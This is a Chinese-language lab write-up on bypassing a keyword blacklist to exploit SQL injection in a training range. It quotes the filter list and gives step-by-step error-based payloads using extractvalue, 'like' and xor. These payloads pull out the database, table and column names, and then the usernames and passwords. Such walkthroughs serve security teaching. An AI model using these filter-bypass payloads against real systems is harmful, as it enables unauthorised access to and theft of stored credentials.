sql注入过滤绕过实例

靶场

云演sql注入过滤绕过靶场
sql注入过滤绕过实例
漏洞分析
1、漏洞点:index.php

我们可以看到,在第38行,通过 GET方式传入了id 值,然后会经过过滤,然后直接拼接到 SQL 语句中。

由下图可知,picture.php 通过 GET 方式接收 id值,接收的值会直接拼接到SQL语句中,存在SQL注入漏洞,但是有过滤,需要我们绕过。

sql注入过滤绕过实例

2、分析过滤字符

$black = [’=’,‘union’,’/’,’/’,‘order’,‘load’,‘by’,‘group’,‘sleep’,‘update’,‘delete’,‘insert’,’’’,‘and’];

只要输入的字符串中有以上黑名单中的内容,则退出当前脚本。

我们可以使用其他的语句来绕过过滤。

漏洞利用
第一步
访问ip查看系统是否正常
sql注入过滤绕过实例

第二步
检测是否存在 SQL 注入漏洞

(1)我们输入

1’、1 and 都会提示 Stop attacking!!!

and 符号可以使用 & 代替。

输入: 1 & 可以看到返回正常。

(2)继续测试:

输入 1+1 在 URL 中 + 通常会被当作 空格,所以我们用 %2b 代替。

输入 1%2b1 可以看到输出结果变了,说明这里的输入是我们可以控制的,而且会到数据库中执行。

(3)使用 xor 测试
sql注入过滤绕过实例

1 //返回Hello Tom
1 xor 1 //返回Hello Jame
1 xor 2 //返回Hello Jame
1 xor 0 //返回Hello Tom
以上可以表明我们输入的SQL 语句会到数据库中执行,说明存在SQL 注入漏洞。

第三步
输入以下语句获得 数据库:

?id=1 or extractvalue(1,concat(0x5c,(select database())))
sql注入过滤绕过实例

第四步
获得数据表名

or extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema like “web2” limit 0,1) ) )
sql注入过滤绕过实例

注:

由于此环境过滤了 = 号,单引号,所以这里使用 双引号代替单引号,并且使用 使用 like 代替等于号。

第五步
获得字段名

or extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name like “f14g” limit 0,1) ) )

sql注入过滤绕过实例

or extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name like “f14g” limit 1,1) ) )
sql注入过滤绕过实例

得到字段名:id、users、paswd

第六步
获取数据

?id=1 or extractvalue(0x0a,concat(0x0a,(select users from f14g limit 2,1)))

sql注入过滤绕过实例

?id=1 or extractvalue(0x0a,concat(0x0a,(select paswd from f14g limit 2,1)))
sql注入过滤绕过实例

漏洞修复
对输入增加过滤,或者安装 防火墙。